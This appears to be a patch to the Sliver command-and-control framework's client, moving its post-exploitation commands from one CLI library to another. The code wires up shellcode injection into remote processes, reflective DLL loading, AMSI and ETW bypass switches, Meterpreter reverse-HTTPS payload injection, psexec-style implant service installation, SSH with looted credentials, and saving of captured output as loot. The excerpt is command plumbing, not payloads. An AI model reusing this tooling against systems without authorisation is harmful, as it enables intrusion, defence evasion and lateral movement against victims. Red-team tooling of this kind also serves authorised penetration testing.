+		f.BoolP("save", "s", false, "save output to file")
+		f.BoolP("loot", "X", false, "save output as loot")
+		f.StringP("name", "n", "", "name to assign loot (optional)")
+		f.Uint32P("ppid", "P", 0, "parent process id (optional)")
+		f.StringP("process-arguments", "A", "", "arguments to pass to the hosting process")
+		f.BoolP("amsi-bypass", "M", false, "Bypass AMSI on Windows (only supported when used with --in-process)")
+		f.BoolP("etw-bypass", "E", false, "Bypass ETW on Windows (only supported when used with --in-process)")
+
+		f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
+	})
+	executeAssemblyCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true
+
+	carapace.Gen(executeAssemblyCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to assembly file (required)"))
+	carapace.Gen(executeAssemblyCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to pass to the assembly entrypoint (optional)"))
+
+	executeShellcodeCmd := &cobra.Command{
+		Use:   consts.ExecuteShellcodeStr,
+		Short: "Executes the given shellcode in the sliver process",
+		Long:  help.GetHelpFor([]string{consts.ExecuteShellcodeStr}),
+		Args:  cobra.ExactArgs(1),
+		Run: func(cmd *cobra.Command, args []string) {
+			ExecuteShellcodeCmd(cmd, con, args)
+		},
+		GroupID: consts.ExecutionHelpGroup,
+	}
+	flags.Bind("", false, executeShellcodeCmd, func(f *pflag.FlagSet) {
+		f.BoolP("rwx-pages", "r", false, "Use RWX permissions for memory pages")
+		f.Uint32P("pid", "p", 0, "Pid of process to inject into (0 means injection into ourselves)")
+		f.StringP("process", "n", `c:\windows\system32\notepad.exe`, "Process to inject into when running in interactive mode")
+		f.BoolP("interactive", "i", false, "Inject into a new process and interact with it")
+		f.BoolP("shikata-ga-nai", "S", false, "encode shellcode using shikata ga nai prior to execution")
+		f.StringP("architecture", "A", "amd64", "architecture of the shellcode: 386, amd64 (used with --shikata-ga-nai flag)")
+		f.Uint32P("iterations", "I", 1, "number of encoding iterations (used with --shikata-ga-nai flag)")
+
+		f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
+	})
+	flags.BindFlagCompletions(executeShellcodeCmd, func(comp *carapace.ActionMap) {
+		(*comp)["shikata-ga-nai"] = carapace.ActionValues("386", "amd64").Tag("shikata-ga-nai architectures")
+	})
+	carapace.Gen(executeShellcodeCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to shellcode file (required)"))
+
+	sideloadCmd := &cobra.Command{
+		Use:   consts.SideloadStr,
+		Short: "Load and execute a shared object (shared library/DLL) in a remote process",
+		Long:  help.GetHelpFor([]string{consts.SideloadStr}),
+		Args:  cobra.MinimumNArgs(1),
+		Run: func(cmd *cobra.Command, args []string) {
+			SideloadCmd(cmd, con, args)
+		},
+		GroupID: consts.ExecutionHelpGroup,
+	}
+	flags.Bind("", false, sideloadCmd, func(f *pflag.FlagSet) {
+		f.StringP("entry-point", "e", "", "Entrypoint for the DLL (Windows only)")
+		f.StringP("process", "p", `c:\windows\system32\notepad.exe`, "Path to process to host the shellcode")
+		f.BoolP("unicode", "w", false, "Command line is passed to unmanaged DLL function in UNICODE format. (default is ANSI)")
+		f.BoolP("save", "s", false, "save output to file")
+		f.BoolP("loot", "X", false, "save output as loot")
+		f.StringP("name", "n", "", "name to assign loot (optional)")
+		f.BoolP("keep-alive", "k", false, "don't terminate host process once the execution completes")
+		f.Uint32P("ppid", "P", 0, "parent process id (optional)")
+		f.StringP("process-arguments", "A", "", "arguments to pass to the hosting process")
+
+		f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
+	})
+	sideloadCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true
+
+	carapace.Gen(sideloadCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to shared library file (required)"))
+	carapace.Gen(sideloadCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to pass to the binary (optional)"))
+
+	spawnDllCmd := &cobra.Command{
+		Use:   consts.SpawnDllStr,
+		Short: "Load and execute a Reflective DLL in a remote process",
+		Long:  help.GetHelpFor([]string{consts.SpawnDllStr}),
+		Args:  cobra.MinimumNArgs(1),
+		Run: func(cmd *cobra.Command, args []string) {
+			SpawnDllCmd(cmd, con, args)
+		},
+		GroupID:     consts.ExecutionHelpGroup,
+		Annotations: flags.RestrictTargets(consts.WindowsCmdsFilter),
+	}
+	flags.Bind("", false, spawnDllCmd, func(f *pflag.FlagSet) {
+		f.StringP("process", "p", `c:\windows\system32\notepad.exe`, "Path to process to host the shellcode")
+		f.StringP("export", "e", "ReflectiveLoader", "Entrypoint of the Reflective DLL")
+		f.BoolP("save", "s", false, "save output to file")
+		f.BoolP("loot", "X", false, "save output as loot")
+		f.StringP("name", "n", "", "name to assign loot (optional)")
+		f.BoolP("keep-alive", "k", false, "don't terminate host process once the execution completes")
+		f.UintP("ppid", "P", 0, "parent process id (optional)")
+		f.StringP("process-arguments", "A", "", "arguments to pass to the hosting process")
+
+		f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
+	})
+	spawnDllCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true
+
+	carapace.Gen(spawnDllCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to DLL file (required)"))
+	carapace.Gen(spawnDllCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to pass to the DLL entrypoint (optional)"))
+
+	migrateCmd := &cobra.Command{
+		Use:   consts.MigrateStr,
+		Short: "Migrate into a remote process",
+		Long:  help.GetHelpFor([]string{consts.MigrateStr}),
+		Run: func(cmd *cobra.Command, args []string) {
+			MigrateCmd(cmd, con, args)
+		},
+		GroupID:     consts.ExecutionHelpGroup,
+		Annotations: flags.RestrictTargets(consts.WindowsCmdsFilter),
+	}
+	flags.Bind("", false, migrateCmd, func(f *pflag.FlagSet) {
+		f.BoolP("disable-sgn", "S", true, "disable shikata ga nai shellcode encoder")
+		f.Uint32P("pid", "p", 0, "process id to migrate into")
+		f.StringP("process-name", "n", "", "name of the process to migrate into")
+		f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
+	})
+	carapace.Gen(migrateCmd).PositionalCompletion(carapace.ActionValues().Usage("PID of process to migrate into"))
+
+	msfCmd := &cobra.Command{
+		Use:   consts.MsfStr,
+		Short: "Execute an MSF payload in the current process",
+		Long:  help.GetHelpFor([]string{consts.MsfStr}),
+		Run: func(cmd *cobra.Command, args []string) {
+			MsfCmd(cmd, con, args)
+		},
+		GroupID: consts.ExecutionHelpGroup,
+	}
+	flags.Bind("", false, msfCmd, func(f *pflag.FlagSet) {
+		f.StringP("payload", "m", "meterpreter_reverse_https", "msf payload")
+		f.StringP("lhost", "L", "", "listen host")
+		f.IntP("lport", "l", 4444, "listen port")
+		f.StringP("encoder", "e", "", "msf encoder")
+		f.IntP("iterations", "i", 1, "iterations of the encoder")
+
+		f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
+	})
+
+	msfInjectCmd := &cobra.Command{
+		Use:   consts.MsfInjectStr,
+		Short: "Inject an MSF payload into a process",
+		Long:  help.GetHelpFor([]string{consts.MsfInjectStr}),
+		Run: func(cmd *cobra.Command, args []string) {
+			MsfInjectCmd(cmd, con, args)
+		},
+		GroupID: consts.ExecutionHelpGroup,
+	}
+	flags.Bind("", false, msfInjectCmd, func(f *pflag.FlagSet) {
+		f.IntP("pid", "p", -1, "pid to inject into")
+		f.StringP("payload", "m", "meterpreter_reverse_https", "msf payload")
+		f.StringP("lhost", "L", "", "listen host")
+		f.IntP("lport", "l", 4444, "listen port")
+		f.StringP("encoder", "e", "", "msf encoder")
+		f.IntP("iterations", "i", 1, "iterations of the encoder")
+
+		f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
+	})
+
+	psExecCmd := &cobra.Command{
+		Use:   consts.PsExecStr,
+		Short: "Start a sliver service on a remote target",
+		Long:  help.GetHelpFor([]string{consts.PsExecStr}),
+		Args:  cobra.ExactArgs(1),
+		Run: func(cmd *cobra.Command, args []string) {
+			PsExecCmd(cmd, con, args)
+		},
+		GroupID:     consts.ExecutionHelpGroup,
+		Annotations: flags.RestrictTargets(consts.WindowsCmdsFilter),
+	}
+	flags.Bind("", false, psExecCmd, func(f *pflag.FlagSet) {
+		f.StringP("service-name", "s", "Sliver", "name that will be used to register the service")
+		f.StringP("service-description", "d", "Sliver implant", "description of the service")
+		f.StringP("profile", "p", "", "profile to use for service binary")
+		f.StringP("binpath", "b", "c:\\windows\\temp", "directory to which the executable will be uploaded")
+		f.StringP("custom-exe", "c", "", "custom service executable to use instead of generating a new Sliver")
+
+		f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
+	})
+	flags.BindFlagCompletions(psExecCmd, func(comp *carapace.ActionMap) {
+		(*comp)["custom-exe"] = carapace.ActionFiles()
+		(*comp)["profile"] = generate.ProfileNameCompleter(con)
+	})
+	carapace.Gen(psExecCmd).PositionalCompletion(carapace.ActionValues().Usage("hostname (required)"))
+
+	sshCmd := &cobra.Command{
+		Use:   consts.SSHStr,
+		Short: "Run a SSH command on a remote host",
+		Long:  help.GetHelpFor([]string{consts.SSHStr}),
+		Args:  cobra.MinimumNArgs(1),
+		Run: func(cmd *cobra.Command, args []string) {
+			SSHCmd(cmd, con, args)
+		},
+		GroupID: consts.ExecutionHelpGroup,
+	}
+	flags.Bind("", false, sshCmd, func(f *pflag.FlagSet) {
+		f.UintP("port", "p", 22, "SSH port")
+		f.StringP("private-key", "i", "", "path to private key file")
+		f.StringP("password", "P", "", "SSH user password")
+		f.StringP("login", "l", "", "username to use to connect")
+		f.BoolP("skip-loot", "s", false, "skip the prompt to use loot credentials")
+		f.StringP("kerberos-config", "c", "/etc/krb5.conf", "path to remote Kerberos config file")
+		f.StringP("kerberos-keytab", "k", "", "path to Kerberos keytab file")
+		f.StringP("kerberos-realm", "r", "", "Kerberos realm")
+
+		f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
+	})
+	sshCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true
+
+	flags.BindFlagCompletions(sshCmd, func(comp *carapace.ActionMap) {
+		(*comp)["private-key"] = carapace.ActionFiles()
+		(*comp)["kerberos-keytab"] = carapace.ActionFiles()
+	})
+
+	carapace.Gen(sshCmd).PositionalCompletion(carapace.ActionValues().Usage("remote host to SSH to (required)"))
+	carapace.Gen(sshCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("command line with arguments"))
+
+	return []*cobra.Command{executeCmd, executeAssemblyCmd, executeShellcodeCmd, sideloadCmd, spawnDllCmd, migrateCmd, msfCmd, msfInjectCmd, psExecCmd, sshCmd}
+}
@@ -28,24 +28,30 @@ import (
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"github.com/desertbit/grumble"
+	"github.com/spf13/cobra"
 	"google.golang.org/protobuf/proto"
 )

-// ExecuteAssemblyCmd - Execute a .NET assembly in-memory
-func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+// ExecuteAssemblyCmd - Execute a .NET assembly in-memory.
+func ExecuteAssemblyCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
 	session, beacon := con.ActiveTarget.GetInteractive()
 	if session == nil && beacon == nil {
 		return
 	}

-	assemblyPath := ctx.Args.String("filepath")
+	arch, _ := cmd.Flags().GetString("arch")
+	method, _ := cmd.Flags().GetString("method")
+	className, _ := cmd.Flags().GetString("class")
+	appDomain, _ := cmd.Flags().GetString("app-domain")
+	pPid, _ := cmd.Flags().GetUint32("ppid")
+
+	assemblyPath := args[0]
 	isDLL := false
 	if filepath.Ext(assemblyPath) == ".dll" {
 		isDLL = true
 	}
 	if isDLL {
-		if ctx.Flags.String("class") == "" || ctx.Flags.String("method") == "" {
+		if className == "" || method == "" {
 			con.PrintErrorf("Please provide a class name (namespace.class) and method\n")
 			return
 		}
@@ -56,15 +62,15 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 		return
 	}

-	assemblyArgs := ctx.Args.StringList("arguments")
-	process := ctx.Flags.String("process")
-	processArgsStr := ctx.Flags.String("process-arguments")
+	assemblyArgs := args[1:]
+	process, _ := cmd.Flags().GetString("process")
+	processArgsStr, _ := cmd.Flags().GetString("process-arguments")
 	processArgs := strings.Split(processArgsStr, " ")
-	inProcess := ctx.Flags.Bool("in-process")
+	inProcess, _ := cmd.Flags().GetBool("in-process")

-	runtime := ctx.Flags.String("runtime")
-	etwBypass := ctx.Flags.Bool("etw-bypass")
-	amsiBypass := ctx.Flags.Bool("amsi-bypass")
+	runtime, _ := cmd.Flags().GetString("runtime")
+	etwBypass, _ := cmd.Flags().GetBool("etw-bypass")
+	amsiBypass, _ := cmd.Flags().GetBool("amsi-bypass")

 	if !inProcess && (runtime != "" || etwBypass || amsiBypass) {
 		con.PrintErrorf("The --runtime, --etw-bypass, and --amsi-bypass flags can only be used with the --in-process flag\n")
@@ -86,17 +92,17 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 	ctrl := make(chan bool)
 	con.SpinUntil("Executing assembly ...", ctrl)
 	execAssembly, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
-		Request:     con.ActiveTarget.Request(ctx),
+		Request:     con.ActiveTarget.Request(cmd),
 		IsDLL:       isDLL,
 		Process:     process,
-		Arguments:   assemblyArgsStr,
+		Arguments:   assemblyArgs,
 		Assembly:    assemblyBytes,
-		Arch:        ctx.Flags.String("arch"),
-		Method:      ctx.Flags.String("method"),
-		ClassName:   ctx.Flags.String("class"),
-		AppDomain:   ctx.Flags.String("app-domain"),
+		Arch:        arch,
+		Method:      method,
+		ClassName:   className,
+		AppDomain:   appDomain,
 		ProcessArgs: processArgs,
-		PPid:        uint32(ctx.Flags.Uint("ppid")),
+		PPid:        pPid,
 		Runtime:     runtime,
 		EtwBypass:   etwBypass,
 		AmsiBypass:  amsiBypass,
@@ -117,26 +123,28 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 				return
 			}

-			HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostName, ctx, con)
+			HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostName, cmd, con)
 		})
 		con.PrintAsyncResponse(execAssembly.Response)
 	} else {
-		HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostName, ctx, con)
+		HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostName, cmd, con)
 	}
 }

-func HandleExecuteAssemblyResponse(execAssembly *sliverpb.ExecuteAssembly, assemblyPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
-	saveLoot := ctx.Flags.Bool("loot")
-	lootName := ctx.Flags.String("name")
+func HandleExecuteAssemblyResponse(execAssembly *sliverpb.ExecuteAssembly, assemblyPath string, hostName string, cmd *cobra.Command, con *console.SliverClient) {
+	saveLoot, _ := cmd.Flags().GetBool("loot")
+	lootName, _ := cmd.Flags().GetString("name")

 	if execAssembly.GetResponse().GetErr() != "" {
 		con.PrintErrorf("Error: %s\n", execAssembly.GetResponse().GetErr())
 		return
 	}

-	PrintExecutionOutput(string(execAssembly.GetOutput()), ctx.Flags.Bool("save"), ctx.Command.Name, hostName, con)
+	save, _ := cmd.Flags().GetBool("save")
+
+	PrintExecutionOutput(string(execAssembly.GetOutput()), save, cmd.Name(), hostName, con)

 	if saveLoot {
-		LootExecute(execAssembly.GetOutput(), lootName, ctx.Command.Name, assemblyPath, hostName, con)
+		LootExecute(execAssembly.GetOutput(), lootName, cmd.Name(), assemblyPath, hostName, con)
 	}
 }
@@ -30,27 +30,27 @@ import (
 	"github.com/bishopfox/sliver/client/core"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/spf13/cobra"
 	"golang.org/x/term"
 	"google.golang.org/protobuf/proto"
-
-	"github.com/desertbit/grumble"
 )

-// ExecuteShellcodeCmd - Execute shellcode in-memory
-func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+// ExecuteShellcodeCmd - Execute shellcode in-memory.
+func ExecuteShellcodeCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
 	session, beacon := con.ActiveTarget.GetInteractive()
 	if session == nil && beacon == nil {
 		return
 	}

-	rwxPages := ctx.Flags.Bool("rwx-pages")
-	interactive := ctx.Flags.Bool("interactive")
+	rwxPages, _ := cmd.Flags().GetBool("rwx-pages")
+	interactive, _ := cmd.Flags().GetBool("interactive")
 	if interactive && beacon != nil {
 		con.PrintErrorf("Interactive shellcode can only be executed in a session\n")
 		return
 	}
-	pid := ctx.Flags.Uint("pid")
-	shellcodePath := ctx.Args.String("filepath")
+
+	pid, _ := cmd.Flags().GetUint32("pid")
+	shellcodePath := args[0]
 	shellcodeBin, err := os.ReadFile(shellcodePath)
 	if err != nil {
 		con.PrintErrorf("%s\n", err.Error())
@@ -60,23 +60,23 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 		con.PrintErrorf("Cannot use both `--pid` and `--interactive`\n")
 		return
 	}
-	shikataGaNai := ctx.Flags.Bool("shikata-ga-nai")
+	shikataGaNai, _ := cmd.Flags().GetBool("shikata-ga-nai")
 	if shikataGaNai {
 		if !rwxPages {
 			con.PrintErrorf("Cannot use shikata ga nai without RWX pages enabled\n")
 			return
 		}
-		arch := ctx.Flags.String("architecture")
+		arch, _ := cmd.Flags().GetString("architecture")
 		if arch != "386" && arch != "amd64" {
 			con.PrintErrorf("Invalid shikata ga nai architecture (must be 386 or amd64)\n")
 			return
 		}
-		iter := ctx.Flags.Int("iterations")
+		iter, _ := cmd.Flags().GetUint32("iterations")
 		con.PrintInfof("Encoding shellcode ...\n")
 		resp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
 			Encoder:      clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
 			Architecture: arch,
-			Iterations:   uint32(iter),
+			Iterations:   iter,
 			BadChars:     []byte{},
 			Data:         shellcodeBin,
 		})
@@ -89,8 +89,10 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 		con.PrintInfof("Shellcode encoded in %d iterations (%d bytes -> %d bytes)\n", iter, oldSize, len(shellcodeBin))
 	}

+	process, _ := cmd.Flags().GetString("process")
+
 	if interactive {
-		executeInteractive(ctx, ctx.Flags.String("process"), shellcodeBin, rwxPages, con)
+		executeInteractive(cmd, process, shellcodeBin, rwxPages, con)
 		return
 	}
 	ctrl := make(chan bool)
@@ -99,8 +101,8 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 	shellcodeTask, err := con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
 		Data:     shellcodeBin,
 		RWXPages: rwxPages,
-		Pid:      uint32(pid),
-		Request:  con.ActiveTarget.Request(ctx),
+		Pid:      pid,
+		Request:  con.ActiveTarget.Request(cmd),
 	})
 	ctrl <- true
 	<-ctrl
@@ -124,8 +126,8 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 	}
 }

-// PrintExecuteShellcode - Display result of shellcode execution
-func PrintExecuteShellcode(task *sliverpb.Task, con *console.SliverConsoleClient) {
+// PrintExecuteShellcode - Display result of shellcode execution.
+func PrintExecuteShellcode(task *sliverpb.Task, con *console.SliverClient) {
 	if task.Response.GetErr() != "" {
 		con.PrintErrorf("%s\n", task.Response.GetErr())
 	} else {
@@ -133,7 +135,7 @@ func PrintExecuteShellcode(task *sliverpb.Task, con *console.SliverConsoleClient
 	}
 }

-func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte, rwxPages bool, con *console.SliverConsoleClient) {
+func executeInteractive(cmd *cobra.Command, hostProc string, shellcode []byte, rwxPages bool, con *console.SliverClient) {
 	// Check active session
 	session := con.ActiveTarget.GetSessionInteractive()
 	if session == nil {
@@ -148,7 +150,6 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
 	rpcTunnel, err := con.Rpc.CreateTunnel(context.Background(), &sliverpb.Tunnel{
 		SessionID: session.ID,
 	})
-
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return
@@ -157,12 +158,11 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
 	tunnel := core.GetTunnels().Start(rpcTunnel.GetTunnelID(), rpcTunnel.GetSessionID())

 	shell, err := con.Rpc.Shell(context.Background(), &sliverpb.ShellReq{
-		Request:   con.ActiveTarget.Request(ctx),
+		Request:   con.ActiveTarget.Request(cmd),
 		Path:      hostProc,
 		EnablePTY: !noPty,
 		TunnelID:  tunnel.ID,
 	})
-
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return
@@ -174,7 +174,7 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
 	msg := fmt.Sprintf("Sending shellcode to %s ...", session.GetName())
 	con.SpinUntil(msg, ctrl)
 	_, err = con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
-		Request:  con.ActiveTarget.Request(ctx),
+		Request:  con.ActiveTarget.Request(cmd),
 		Pid:      pid,
 		Data:     shellcode,
 		RWXPages: rwxPages,
@@ -27,30 +27,32 @@ import (
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"github.com/desertbit/grumble"
+	"github.com/spf13/cobra"
 	"google.golang.org/protobuf/proto"
 )

-// ExecuteCmd - Run a command on the remote system
-func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+// ExecuteCmd - Run a command on the remote system.
+func ExecuteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
 	session, beacon := con.ActiveTarget.GetInteractive()
 	if session == nil && beacon == nil {
 		return
 	}

-	cmdPath := ctx.Args.String("command")
-	args := ctx.Args.StringList("arguments")
-	token := ctx.Flags.Bool("token")
-	output := ctx.Flags.Bool("output")
-	stdout := ctx.Flags.String("stdout")
-	stderr := ctx.Flags.String("stderr")
-	saveLoot := ctx.Flags.Bool("loot")
-	saveOutput := ctx.Flags.Bool("save")
-	ppid := ctx.Flags.Uint("ppid")
+	cmdPath := args[0]
+	args = args[1:]
+
+	token, _ := cmd.Flags().GetBool("token")
+	hidden, _ := cmd.Flags().GetBool("hidden")
+	output, _ := cmd.Flags().GetBool("output")
+	stdout, _ := cmd.Flags().GetString("stdout")
+	stderr, _ := cmd.Flags().GetString("stderr")
+	saveLoot, _ := cmd.Flags().GetBool("loot")
+	saveOutput, _ := cmd.Flags().GetBool("save")
+	ppid, _ := cmd.Flags().GetUint32("ppid")
 	hostName := getHostname(session, beacon)

 	// If the user wants to loot or save the output, we have to capture it regardless of if they specified -o
-	var captureOutput bool = output || saveLoot || saveOutput
+	captureOutput := output || saveLoot || saveOutput

 	if output && beacon != nil {
 		con.PrintWarnf("Using --output in beacon mode, if the command blocks the task will never complete\n\n")
@@ -61,20 +63,25 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {

 	ctrl := make(chan bool)
 	con.SpinUntil(fmt.Sprintf("Executing %s %s ...", cmdPath, strings.Join(args, " ")), ctrl)
-	if token || ppid != 0 {
+	if token || hidden || ppid != 0 {
+		if (session != nil && session.OS != "windows") || (beacon != nil && beacon.OS != "windows") {
+			con.PrintErrorf("The token, hide window, and ppid options are not valid on %s\n", session.OS)
+			return
+		}
 		exec, err = con.Rpc.ExecuteWindows(context.Background(), &sliverpb.ExecuteWindowsReq{
-			Request:  con.ActiveTarget.Request(ctx),
-			Path:     cmdPath,
-			Args:     args,
-			Output:   captureOutput,
-			Stderr:   stderr,
-			Stdout:   stdout,
-			UseToken: token,
-			PPid:     uint32(ppid),
+			Request:    con.ActiveTarget.Request(cmd),
+			Path:       cmdPath,
+			Args:       args,
+			Output:     captureOutput,
+			Stderr:     stderr,
+			Stdout:     stdout,
+			UseToken:   token,
+			HideWindow: hidden,
+			PPid:       ppid,
 		})
 	} else {
 		exec, err = con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
-			Request: con.ActiveTarget.Request(ctx),
+			Request: con.ActiveTarget.Request(cmd),
 			Path:    cmdPath,
 			Args:    args,
 			Output:  captureOutput,
@@ -96,44 +103,44 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 				con.PrintErrorf("Failed to decode response %s\n", err)
 				return
 			}
-			HandleExecuteResponse(exec, cmdPath, hostName, ctx, con)
+			HandleExecuteResponse(exec, cmdPath, hostName, cmd, con)
 		})
 		con.PrintAsyncResponse(exec.Response)
 	} else {
-		HandleExecuteResponse(exec, cmdPath, hostName, ctx, con)
+		HandleExecuteResponse(exec, cmdPath, hostName, cmd, con)
 	}
 }

-func HandleExecuteResponse(exec *sliverpb.Execute, cmdPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
+func HandleExecuteResponse(exec *sliverpb.Execute, cmdPath string, hostName string, cmd *cobra.Command, con *console.SliverClient) {
 	var lootedOutput []byte
-	stdout := ctx.Flags.String("stdout")
-	saveLoot := ctx.Flags.Bool("loot")
-	saveOutput := ctx.Flags.Bool("save")
-	lootName := ctx.Flags.String("name")
-	ignoreStderr := ctx.Flags.Bool("ignore-stderr")
+	stdout, _ := cmd.Flags().GetString("stdout")
+	saveLoot, _ := cmd.Flags().GetBool("loot")
+	saveOutput, _ := cmd.Flags().GetBool("save")
+	lootName, _ := cmd.Flags().GetString("name")
+	ignoreStderr, _ := cmd.Flags().GetBool("ignore-stderr")

 	if saveLoot || saveOutput {
 		lootedOutput = combineCommandOutput(exec, stdout == "", !ignoreStderr && 0 < len(exec.Stderr))
 	}

 	if saveLoot {
-		LootExecute(lootedOutput, lootName, ctx.Command.Name, cmdPath, hostName, con)
+		LootExecute(lootedOutput, lootName, cmd.Name(), cmdPath, hostName, con)
 	}

 	if saveOutput {
-		SaveExecutionOutput(string(lootedOutput), ctx.Command.Name, hostName, con)
+		SaveExecutionOutput(string(lootedOutput), cmd.Name(), hostName, con)
 	}

-	PrintExecute(exec, ctx, con)
+	PrintExecute(exec, cmd, con)
 }

-// PrintExecute - Print the output of an executed command
-func PrintExecute(exec *sliverpb.Execute, ctx *grumble.Context, con *console.SliverConsoleClient) {
-	ignoreStderr := ctx.Flags.Bool("ignore-stderr")
-	stdout := ctx.Flags.String("stdout")
-	stderr := ctx.Flags.String("stderr")
+// PrintExecute - Print the output of an executed command.
+func PrintExecute(exec *sliverpb.Execute, cmd *cobra.Command, con *console.SliverClient) {
+	ignoreStderr, _ := cmd.Flags().GetBool("ignore-stderr")
+	stdout, _ := cmd.Flags().GetString("stdout")
+	stderr, _ := cmd.Flags().GetString("stderr")

-	output := ctx.Flags.Bool("output")
+	output, _ := cmd.Flags().GetBool("output")
 	if !output {
 		if exec.Status == 0 {
 			con.PrintInfof("Command executed successfully\n")
@@ -201,7 +208,7 @@ func combineCommandOutput(exec *sliverpb.Execute, combineStdOut bool, combineStd
 	return []byte(outputString)
 }

-func LootExecute(commandOutput []byte, lootName string, sliverCmdName string, cmdName string, hostName string, con *console.SliverConsoleClient) {
+func LootExecute(commandOutput []byte, lootName string, sliverCmdName string, cmdName string, hostName string, con *console.SliverClient) {
 	if len(commandOutput) == 0 {
 		con.PrintInfof("There was no output from execution, so there is nothing to loot.\n")
 		return
@@ -216,11 +223,11 @@ func LootExecute(commandOutput []byte, lootName string, sliverCmdName string, cm
 		lootName = fmt.Sprintf("[%s] %s on %s (%s)", sliverCmdName, shortCommandName, hostName, timeNow)
 	}

-	lootMessage := loot.CreateLootMessage(fileName, lootName, clientpb.LootType_LOOT_FILE, clientpb.FileType_TEXT, commandOutput)
+	lootMessage := loot.CreateLootMessage(con.ActiveTarget.GetHostUUID(), fileName, lootName, clientpb.FileType_TEXT, commandOutput)
 	loot.SendLootMessage(lootMessage, con)
 }

-func PrintExecutionOutput(executionOutput string, saveOutput bool, commandName string, hostName string, con *console.SliverConsoleClient) {
+func PrintExecutionOutput(executionOutput string, saveOutput bool, commandName string, hostName string, con *console.SliverClient) {
 	con.PrintInfof("Output:\n%s", executionOutput)

 	if saveOutput {
@@ -228,7 +235,7 @@ func PrintExecutionOutput(executionOutput string, saveOutput bool, commandName s
 	}
 }

-func SaveExecutionOutput(executionOutput string, commandName string, hostName string, con *console.SliverConsoleClient) {
+func SaveExecutionOutput(executionOutput string, commandName string, hostName string, con *console.SliverClient) {
 	var outFilePath *os.File
 	var err error

@@ -249,7 +256,7 @@ func SaveExecutionOutput(executionOutput string, commandName string, hostName st
 	}

 	if outFilePath != nil {
-		outFilePath.Write([]byte(executionOutput))
+		outFilePath.WriteString(executionOutput)
 		con.PrintInfof("Output saved to %s\n", outFilePath.Name())
 	}
 }
@@ -21,65 +21,69 @@ package exec
 import (
 	"context"
 	"fmt"
-	"strings"
+
+	"github.com/spf13/cobra"
+	"google.golang.org/protobuf/proto"

 	"github.com/bishopfox/sliver/client/console"
+	consts "github.com/bishopfox/sliver/client/constants"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
-	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"github.com/desertbit/grumble"
 )

 // MigrateCmd - Windows only, inject an implant into another process
-func MigrateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveTarget.GetSession()
-	if session == nil {
+func MigrateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
 		return
 	}

